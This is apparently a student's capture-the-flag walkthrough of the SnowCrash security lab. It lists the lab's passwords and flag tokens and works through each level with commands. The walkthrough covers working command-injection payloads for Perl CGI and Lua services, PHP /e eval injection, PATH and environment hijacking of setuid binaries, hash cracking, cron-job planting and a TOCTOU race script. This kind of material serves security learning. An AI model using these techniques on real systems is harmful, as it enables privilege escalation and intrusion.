level01 x24ti5gi3x0ol2eh4esiuxias
level02 f2av5il02puano7naaf6adaaf
level03 kooda2puivaav1idi4f57q8iq
level04 qi0maab88jeaj46qoumi7maus
level05 ne2searoevaevoem4ov4ar8ap
level06 viuaaale9huek52boumoomioc
level07 wiok45aaoguiboiki2tuin6ub
level08 fiumuikeil55xe9cu4dood66h
level09 25749xKZ8L7DkSCwJkT9dyv6f
level10 s5cAJpM8ev6XHw998pRWG728z
level11 feulo4b72j7edeahuete3no7c
level12 fa6v5ateaw21peobuub8ipe6s
level13 g1qKMiRpXf53AWhDaU7FEkczr
flag00 nottoohardhere
flag01 abcdefg
flag02 ft_waNDReL0L
flag08 quif5eloekouj29ke0vouxean
flag09 f3iji1ju5yuevaus41q1afiuq
flag10 woupa2yuojeeaaed06riuj63c
Level 00 - 01 - 02 - 03 - 04 - 05 - 06 - 07 - 08 - 09 - 10 - 11 - 12
Subject PDF
$ ifconfig
$ ifconfig | grep inet
$ ifconfig | grep 'inet ' | awk 'NR==2'
$ ssh level00@$(ifconfig | grep 'inet ' | awk 'NR==2 {print $2}') -p 4242
First thought
- the folder is empty
- who am i: level00
What permissions do i have?
ls -ld
- use
-d
to see info about the current folder (not its list)
- use
level00 level00
- I am level00. I am the owner. I am the group.
dr-xr-x---+
- owner (me) and group members (my group) can
read/exec
(not write)
- owner (me) and group members (my group) can
level00@SnowCrash:~$ ls -l
total 0
level00@SnowCrash:~$ ls -ld
dr-xr-x---+ 1 level00 level00 100 Mar 5 2016 .
My permissions:
- I own this folder, but i can't vi/rm/mv/touch its contents.
- can be proved by other commands as well:
namei -l $(pwd)
getfacl .
(ACL: Access Control Lists)
Special folder: /tmp
:
- the
/tmp
is conventionally "world-writable"
> ls -ld /tmp
d-wx-wx-wx 4 root root 80 Nov 19 19:58 /tmp
^^ ^^ π΅ writable/executable
- i can w|x but not list files, no one can
Learn the Echo-Chmod Combo, eg.
echo "something" > /tmp/go.sh && chmod +x /tmp/go.sh && sh /tmp/go.sh
- it's a famous trick
Special folder: /etc
:
etc
here isrwxr-x
> ls -ld /etc
drwxr-xr-x 1 root root 260 Nov 19 18:30 /etc
- ie. we can
ls/cat
it and its contents
> ls -l /etc
(omitted outputs)
> cat /etc/passwd
...
flag01:42hDRfypTqqnw:3001:3001::/home/flag/flag01:/bin/bash
...
- π accidentally got
flag01
Check if there are more special files
We look for any file owned 1) by me, 2) by the account I try to log in
/
: from root directory\;
: ends-exec
andcat
one file a time+
: nowfind
runscat
on several files at once2>/dev/null
: no error msg explosion (sending stderr output to/dev/null
)
> find / -user level00
> find / -user level00 2>/dev/null
> find / -user flag00 2>/dev/null
> find / -user flag00 -exec cat {} \; 2>/dev/null
OR
> find / -user flag00 -exec cat {} + 2>/dev/null
cdiiddwpgswtgt
cdiiddwpgswtgt
- π we have a cipher
Decipher cdiiddwpgswtgt
in python
a = ord('a')
for i in range(26):
print(''.join(chr(a+(ord(c)-a+i)%26) for c in 'cdiiddwpgswtgt'))
Login
> ssh level01@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: x24ti5gi3x0ol2eh4esiuxias
Look at /etc/passwd
> grep -i flag01 /etc/passwd
flag01:42hDRfypTqqnw:3001:3001::/home/flag/flag01:/bin/bash
> grep flag01 /etc/passwd | awk -F: '{print $2}'
42hDRfypTqqnw
What is /etc/passwd
- it is a list of user accounts and their info
username:PWD:UID:GID:comment:home_dir:shell
^^^ ancient storage for encrypted passwd
now passwd hashes are stored in /etc/shadow
Solution
- Download and use
john
> wget https://download.openwall.net/pub/projects/john/contrib/macosx/john-1.8.0.9-jumbo-macosx_sse4.zip
> tar -xvf john-1.8.0.9-jumbo-macosx_sse4.zip
> cd john-1.8.0.9-jumbo-macosx_sse4
> echo 42hDRfypTqqnw > __test
> ./john __test
> ./john --show __test
OR
> ./do_john.sh
Why use john
./john --show
provides this line in the output
[DES 128/128 SSE2-16]
- Data Encryption Standard (DES)
- DES is not truly encryption in the sense of encryption algorithms
- it is an old one-way transformation used to store passwds
- it is insecure due to small key size
- using john to bruteforce-crack it is the most effecive way
Login
> ssh level02@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: f2av5il02puano7naaf6adaaf
Found a .pcap
file
### VM
> ls -l
----r--r-- 1 flag02 level02 level02.pcap
^ which means a regular file
> scp -P 4242 level02@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}'):/home/user/level02/level02.pcap $(pwd)
~.pcap
- Packet Capture- a
.pcap
is used to store network packet data captured during network traffic monitoring
- a
- Save the
.pcap
to Hostrealpath
- get the full absolute filepathscp
- secure copy -scp username@ip:path _local_
- β Inspect w/
hexdump, xxd
### Host
> hexdump -C level02.pcap
> xxd level02.pcap
> xxd level02.pcap | grep -i pass -A10 -B10
> xxd level02.pcap | cut -d ' ' -f2-9 | tr -d ' '
- β
Use Wireshark
- we do Analyze - Follow - TCP Stream
- copy
TCP Stream
to text
000000D6 00 0d 0a 50 61 73 73 77 6f 72 64 3a 20 ...Passw ord:
000000B9 66 f
000000BA 74 t
000000BB 5f _
000000BC 77 w
000000BD 61 a
000000BE 6e n
000000BF 64 d
000000C0 72 r
000000C1 7f .
000000C2 7f .
000000C3 7f .
000000C4 4e N
000000C5 44 D
000000C6 52 R
000000C7 65 e
000000C8 6c l
000000C9 7f .
000000CA 4c L
000000CB 30 0
000000CC 4c L
000000CD 0d .
7f
- DE0d
- CR
Parse the above block
infile = [[n[-2], n[-1]] for n in [_.split() for _ in open(0).read().split('\n') if len(_.split()) == 3]]
res = ''
for i, line in enumerate(infile):
print('line/', line, 'i/', i)
x, c = line
if x == '7f':
res = res[:-1]
elif c != '.':
res += c
else:
assert(x == '0d')
print('res/', res)
# ft_waNDReL0L
Login
> ssh level03@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: kooda2puivaav1idi4f57q8iq
Inspect
- β
file
readelf
strings
- also try
id, namei
> ls -l
-rwsr-sr-x 1 flag03 level03 8627 level03
^^^
^^^ SUID and SGID are set for exec, ie. whichever user/group run the
bin, it exec w/ temporary privileges of the owner of the file
π when ./level03 is run
the entire process runs with owner flag03's priviledges,
ie. we gain temporary permissions as flag03
β
Use ltrace
- tracing library function calls when the binary is executed
> ltrace ./level03
### output
getegid() = 2003
geteuid() = 2003
setresgid(2003, 2003, 2003, 0xb7e5ee55, 0xb7fed280) = 0
setresuid(2003, 2003, 2003, 0xb7e5ee55, 0xb7fed280) = 0
system("/usr/bin/env echo Exploit me" ...
### observations
π sets the real u/g id, the effective u|g id and
the saved set-user|group-ID of the calling process
- Solution
> whereis getflag
getflag: /bin/getflag
> echo -e "#\!/bin/bash\n/bin/getflag" > /tmp/echo
> chmod +x /tmp/echo
> export PATH=/tmp:$PATH π prepend tmp to get it checked first
> ./level03
Login
> ssh level04@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: qi0maab88jeaj46qoumi7maus
We have a PERL script,
and it seems to interact with a webpage:
#!/usr/bin/perl
# localhost:4747
use CGI qw{param};
# CGI (Common Gateway Interface)
# param: a CGI module func fetches params from HTTP requests
# qw: quote words
print "Content-type: text/html\n\n";
sub x {
$y = $_[0];
print `echo $y 2>&1`;
# sub -- define subroutine x
# $_[0] -- subroutine `x()` takes a single arg`
# print w/ backticks invokes a shell command
# 2>&1 -- combine stdout and stderr, & means 1 is a fd not a filename
}
x(param("x"));
# 1st `x` : calling the subroutine
# 2nd `x` : a query param
# x comes in form of "...?x=getflag"
Solution
- try to scan and connect to
localhost:4242
- set the query payload and Perl will echo it
> curl -I localhost:4747
or
> nc -vz localhost 4747
^ v: verbose
z: scan if a port is open (a listening daemon)
Connection to localhost 4747 port [tcp/*] succeeded!
# eg.
> curl localhost:4747/?x="\`/usr/bin/whoami\`"
> curl localhost:4747/?x="\`/usr/bin/id\`"
> curl localhost:4747/?x="\`/bin/hostname\`"
> curl localhost:4747/?x="\`/bin/pwd\`"
> curl localhost:4747/?x="\`/bin/df\`"
# whereis or which : avoid typing realpath out
> curl localhost:4747/?x="\`$(whereis pwd|awk '{print $2}')\`"
> curl localhost:4747/?x="\`$(which pwd)\`" π’
# solve
> curl localhost:4747/?x="\`$(which getflag)\`"
or
> echo -e "GET /?x=\`$(which getflag)\` HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc localhost 4747
Login
> ssh level05@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: ne2searoevaevoem4ov4ar8ap
First observation
- an empty dir and nothing happens
- a hint says "mail" and "cronjob"
Inspect /var/mail
> crontab -l
no crontab for level05
> ls /var/mail
level05
> ls -l /var/mail/
-rw-r--r--+ 1 root mail 58 Nov 17 20:25 level05
^ ie. file
> cat /var/mail/level05
*/2 * * * * su -c "sh /usr/sbin/openarenaserver" - flag05
π There's a cronjob
- it runs every 2nd minute
- it runs a script as flag05
Inspect /usr/sbin/openarenaserver
> ls -l /usr/sbin/openarenaserver
-rwxr-x---+ 1 flag05 flag05 /usr/sbin/openarenaserver
^^^^^^ ^^^^^^ resource excl. to user flag05
> cat /usr/sbin/openarenaserver
#!/bin/sh
for i in /opt/openarenaserver/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done
What this script does:
- it runs each file of
/opt/openarenaserver/*
- for each file, limit its exec runtime to 5 seconds
- for each file, we print out what it is, if it is a script
- rmv each file after use
Exploit
- put a script inside
/opt/openarenaserver/
$ echo '/bin/getflag > /tmp/temp' \
> /opt/openarenaserver/solve.sh && \
chmod +x /opt/openarenaserver/solve.sh
# remember
# `/usr/sbin/openarenaserver` runs `bash -x` in a subshell
# it'll stdout nothing whether we `tee` `tee /dev/tty` or `sync`
usetee
: read stdin and write to stdout and files- let it be run in 2min
Login
> ssh level06@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: viuaaale9huek52boumoomioc
> ls -l
-rwsr-x---+ 1 flag06 level06 7503 level06
-rwxr-x--- 1 flag06 level06 356 level06.php
There are 2 files.
Inspect:
> file level06
level06: setuid ELF 32-bit LSB executable,
Intel 80386,
version 1 (SYSV),
dynamically linked (uses shared libs),
for GNU/Linux 2.6.24,
BuildID[sha1]=0xaabebdcd979e47982e99fa318d1225e5249abea7,
not stripped
> cat level06.php
#!/usr/bin/php
<?php
function y($m) {
$m = preg_replace("/\./", " x ", $m);
$m = preg_replace("/@/", " y", $m);
return $m;
}
function x($y, $z) {
$a = file_get_contents($y);
$a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
$a = preg_replace("/\[/", "(", $a);
$a = preg_replace("/\]/", ")", $a);
return $a;
}
$r = x($argv[1], $argv[2]);
print $r;
?>
Inspect y
function
function y($m) {
$m = preg_replace("/\./", " x ", $m);
$m = preg_replace("/@/", " y", $m);
return $m;
}
Function y
filters m twice
" x "
replaces all regex/./
" y"
replaces all regex/@/
Inspect x
function
function x($y, $z) {
$a = file_get_contents($y);
$a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
$a = preg_replace("/\[/", "(", $a);
$a = preg_replace("/\]/", ")", $a);
return $a;
}
Function x
filters argv[1]
"/(\[x (.*)\])/e"
- matches
[x
cap]
and insert 2nd captured group to stringy("
cap")
/e
will eval they(\"\\2\")
as PHP code- π‘
/e
modifier only evaluates the replacement string we provide - π‘
/e
is deprecated long ago
- matches
(
and)
replace all[
and]
in the result respectively
- the func disregards argv[2]
Our goal
file_get_contents($argv[1])
depends on content of the file- so
argv[1]
to a FILE - it should be oneline in form of
[x
cap]
Solution
# get the _token/flag_ in there to be captured and printed out
# shell_exec() system() exec() or simply backticks
# `getflag` called
# ${`getflag`} - get the ret
# [x ${`getflag`}] - framed in this form
# echo $(oneliner) > /tmp/temp - push it to a FILE
> echo '[x ${`getflag`}]' > /tmp/temp
> ./level06 /tmp/temp
Login
> ssh level07@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: wiok45aaoguiboiki2tuin6ub
> ls -l
-rwsr-sr-x 1 flag07 level07 8805 level07
First thought:
- not running it, just to see what it does
file
-strings
-xxd
-readelf
-objdump
> file level07
> strings level07
> xxd level07 | grep level
> xxd level07 | grep -A3 -B3 level
> readelf -s ./level07 | grep -E 'getenv|system|exec|echo|puts|write|printf'
> objdump -d level07 | grep -E "getenv|system|exec|echo|puts|write|printf"
regex ^^
Using readelf -p .rodata
and ltrace
-p
:printable-string-dump
displays contents of a section.rodata
:read-only data
section = what we want to see
> readelf -p .rodata ./level07
String dump of section '.rodata':
[ 8] LOGNAME
^^^^^^^ π‘
[ 10] /bin/echo %s
> ltrace ./level07
__libc_start_main(0x8048514, 1, 0xbffff7f4, 0x80485b0, 0x8048620 <unfinished ...>
getegid() = 2007
geteuid() = 2007
setresgid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0
setresuid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0
getenv("LOGNAME") = "level07"
^^^^^^^ π‘
asprintf(0xbffff744, 0x8048688, 0xbfffff4b, 0xb7e5ee55, 0xb7fed280) = 18
system("/bin/echo level07 "level07
<unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
Run it and we found that it prints LOGNAME
> ./level07 whoami
level07
> man env
> env logname
level06
> export LOGNAME='`id`'
> ./level07
uid=3007(flag07) gid=2007(level07) groups=3007(flag07),100(users),2007(level07)
Solution
> export LOGNAME='`getflag`'
> ./level07
Login
> ssh level08@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: fiumuikeil55xe9cu4dood66h
> ls -l
-rwsr-s---+ 1 flag08 level08 8617 level08
-rw------- 1 flag08 flag08 26 token
^^^^^^ ^^^^^^ both flag08, not level08 π‘
2 files:
> cat token
cat: token: Permission denied
> ./level08
./level08 [file to read]
Tryout
> echo "a" > /tmp/tmp && ./level08 /tmp/tmp
a
> ltrace ./level08 /tmp/tmp
__libc_start_main(0x8048554, 2, 0xbffff7d4, 0x80486b0, 0x8048720 <unfinished ...>
strstr("/tmp/tmp", "token") = NULL
open("/tmp/tmp", 0, 014435162522) = 3
read(3, "a\n", 1024) = 2
write(1, "a\n", 2a
) = 2
+++ exited (status 2) +++
> echo "aB" > /tmp/tmp && ./level08 /tmp/tmp
aB
> ltrace ./level08 /tmp/tmp
__libc_start_main(0x8048554, 2, 0xbffff7d4, 0x80486b0, 0x8048720 <unfinished ...>
strstr("/tmp/tmp", "token") = NULL
open("/tmp/tmp", 0, 014435162522) = 3
read(3, "a\n", 1024) = 2
write(1, "a\n", 2a
) = 2
+++ exited (status 2) +++
Observation:
- only the filename matters
./level
will cat the file, as long as filename contains no substr "token"- renaming
./token
is not allowed - but we can make a symlink of it
- syntax:
ln -s real_path_src real_path_symlink
- syntax:
Solution
> ln -s `realpath token` /tmp/totem
> ./level08 /tmp/totem
Login
> ssh level09@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: 25749xKZ8L7DkSCwJkT9dyv6f
> ls -l
-rwsr-sr-x 1 flag09 level09 7640 level09
----r--r-- 1 flag09 level09 26 token
> xxd token
0000000: 6634 6b6d 6d36 707c 3d82 7f70 826e 8382 f4kmm6p|=..p.n..
0000010: 4442 8344 757b 7f8c 890a DB.Du{....
Tryout
> ./level09 token
tpmhr
> ./level09 123
135
> ./level09 246
258
> ./level09 abcd
aceg
> ./level09 xyz
xz|
> ./level09 az
a{
level09@SnowCrash:~$ ./level09 za
zb
level09@SnowCrash:~$ ./level09 zab
zbd π char = curr - i + 1
Solution
- simple algo
- either p2 in vm: respect the syntax
# /tmp/decode.py
line = open('/home/user/level09/token').read().strip()
print 'res/', ''.join(chr(ord(_) - i) for i, _ in enumerate(line))
- or p3 in Host:
scp
the token first
line = open(0, 'rb').read().strip()
Pprint('res/', ''.join(chr(_ - i) for i, _ in enumerate(line)))
> scp -P 4242 level09@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}'):/home/user/level09/token $(pwd)
25749xKZ8L7DkSCwJkT9dyv6f
> chmod 777 token && p3 decode.py < token
Login
> ssh level10@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: s5cAJpM8ev6XHw998pRWG728z
Tryout
- 2 files, seen it before
- try -
cat
-./level10
-./level10 token localhost
> ls -l
-rwsr-sr-x+ 1 flag10 level10 10817 level10
-rw------- 1 flag10 flag10 26 token
> cat token
cat: token: Permission denied
> ./level10
./level10 file host
sends file to host if you have access to it
> ./level10 token localhost
You don't have access to ./token
Problem
- The main issue here is file
./token
- we dont have its permission ltrace
- find out how./level10
checks permission- it uses
access()
- it uses
> ltrace ./level10 token localhost
__libc_start_main(0x80486d4, 3, 0xbffff7d4, 0x8048970, 0x80489e0 <unfinished ...>
access("token", 4) = -1
^^^^^^ π‘
printf("You don't have access to %s\n", "token"You don't have access to token
) = 31
+++ exited (status 31) +++
- Touch a file of our own, try again
> ./level10 /tmp/tmp localhost
Connecting to localhost:6969 .. Unable to connect to host localhost
> ltrace ./level10 /tmp/tmp localhost
__libc_start_main(0x80486d4, 3, 0xbffff7d4, 0x8048970, 0x80489e0 <unfinished ...>
access("/tmp/tmp", 4) = 0
printf("Connecting to %s:6969 .. ", "localhost") = 32
^^^^ π‘
fflush(0xb7fd1a20Connecting to localhost:6969 .. ) = 0
^^^^ π‘
- The program interacts with
localhiost:6969
- we need a valid Host IP :
127.0.0.1
, or the old trickifconfig | grep 'inet ' | awk 'NR==2 {print $2}' | cut -d ":" -f2
> ./level10 /tmp/tmp $(ifconfig | grep 'inet ' | awk 'NR==2 {print $2}' | cut -d ":" -f2)
Connecting to Localhost:6969 .. Connected!
Sending file .. wrote file!
nc, ltrace
- it opens and reads and sends out
/tmp/tmp
content - it sends the content to
Localhost:6969
# t1
> nc -lk 6969
# t2
> ./level10 /tmp/tmp Localhost
> Connecting to Localhost:6969 .. Connected!
Sending file .. wrote file!
- we want it to open/read/send the
token
instead!
> ltrace ./level10 /tmp/tmp $(ifconfig | grep 'inet ' | awk 'NR==2 {print $2}' | cut -d ":" -f2)
.
.
.
printf("Connected!\nSending file .. "Connected!
) = 27
fflush(0xb7fd1a20Sending file .. ) = 0
open("/tmp/tmp", 0, 010) = 4
^^^^^^^^ π‘ here is where our `token` should be read
read(4, "", 4096) = 0
write(3, "", 0) = 0
puts("wrote file!"wrote file!
) = 12
+++ exited (status 12) +++
Goal
- Figure out a way to force
./level10
to read the truetoken
:- exploit
access()
's TOCTOU vulnerability
- exploit
- How: let's create a racing condition
- Design a file to do the following:
- force
access()
to check a low-priority file - then,
open()
andread()
deal w/ the hi-priority one
- force
Solution:
- we need a file that alternates its own type
- type 1: a symlink to
token
- type 2: a regular file of our own
- type 1: a symlink to
- write a script to do this π
alternate.sh
#!/bin/bash
t=/tmp/tmp
#timeout 2s bash -c '
while true; do
touch $t
rm -rf $t
ln -s /home/user/level10/token $t
rm -rf $t
done
#'
- Another script to run
alternate
and./level10
side by side
runner.sh
#!/bin/bash
#timeout 2s bash -c '
while true; do
/home/user/level10/level10 /tmp/tmp 127.0.0.1 >/dev/null
done
#'
- Run
./alternate.sh
./runner.sh
andnetcat
at the same time
> /tmp/alternate.sh 2>/dev/null & /tmp/runner.sh 2>/dev/null & nc -lk 6969
Login
> ssh level11@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: s5cAJpM8ev6XHw998pRWG728z
Tryout
- We have a Lua script
- A TCP server is created and it listens on localhost port 5151
- It get an input, concat it to
echo
w/o sanitization
> ls -l
-rwsr-sr-x 1 flag11 level11 668 level11.lua
#!/usr/bin/env lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 5151))
π‘ a TCP server listening ^^^^
for conn on localhost:5151
function hash(pass)
^^^^ π‘ a function converts `pass` to sha-1 hash
prog = io.popen("echo "..pass.." | sha1sum", "r")
^^^^^ π‘ do `echo <pass> | sha1sum` and read stdout
π΅ this is prone to command injection because
`"echo " .. pass ..` concat unsanitized inputs
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
while 1 do
local client = server:accept()
client:send("Password: ")
^^^^^^^^^ π΅ we will inject a payload here
client:settimeout(60)
local l, err = client:receive()
if not err then
print("trying " .. l)
local h = hash(l)
if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
client:send("Erf nope..\n");
else
client:send("Gz you dumb*\n")
end
end
client:close()
Run the script
- we find the server is up and running
nc
to it, it is the same Lua program asking for password
> ./level11.lua
lua: ./level11.lua:3: address already in use
stack traceback:
[C]: in function 'assert'
./level11.lua:3: in main chunk
[C]: ?
Solution
- Goal: design a string for
hash()
to concat toecho
- halt
echo
w/;
- then do what we want
gettoken > /tmp/tmp
- ie.
echo ;gettoken > /tmp/tmp | sha1sum
- the piping to sha1sum is discarded
- halt
> nc localhost 5151
Password: ;getflag > /tmp/tmp
Login
> ssh level12@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: fa6v5ateaw21peobuub8ipe6s
Tryout
- We have a Perl script π possible
backtick injection
in query string
> ls -l level12.pl
-rwsr-sr-x+ 1 flag12 level12 464 level12.pl
> cat level12.pl
#!/usr/bin/env perl
# localhost:4646
use CGI qw{param};
print "Content-type: text/html\n\n";
sub t {
$nn = $_[1];
$xx = $_[0]; π‘ receives query string, the 1st part thereof
$xx =~ tr/a-z/A-Z/; π‘ `tr` all lowercase alpha to caps
$xx =~ s/\s.*//; π‘ `sub` all whitespaces w/ nothing
π΅ Vulnerability - Backtick Injection
@output = `egrep "^$xx" /tmp/xd 2>&1`;
foreach $line (@output) {
($f, $s) = split(/:/, $line);
if($s =~ $nn) {
return 1;
}
}
return 0;
}
sub n {
if($_[0] == 1) {
print("..");
} else {
print(".");
}
}
n(t(param("x"), param("y")));
Solution
- Create a file:
`/*/C`
which contains a getflag command - The setuid
.pl
script executes a backticks-enclosed expression - Why still fake an ALLCAPS filename?
- bc. the program runs fast
tr
and=~
pattern matching run at almost simultaneously- to avoid asynchronicit , we delay the script a little
> echo "getflag > /tmp/tmp" > /tmp/C
> chmod 777 /tmp/C
> curl 'http://10.0.2.15:4646?x=`/*/C`'
there you have it in tmp tmp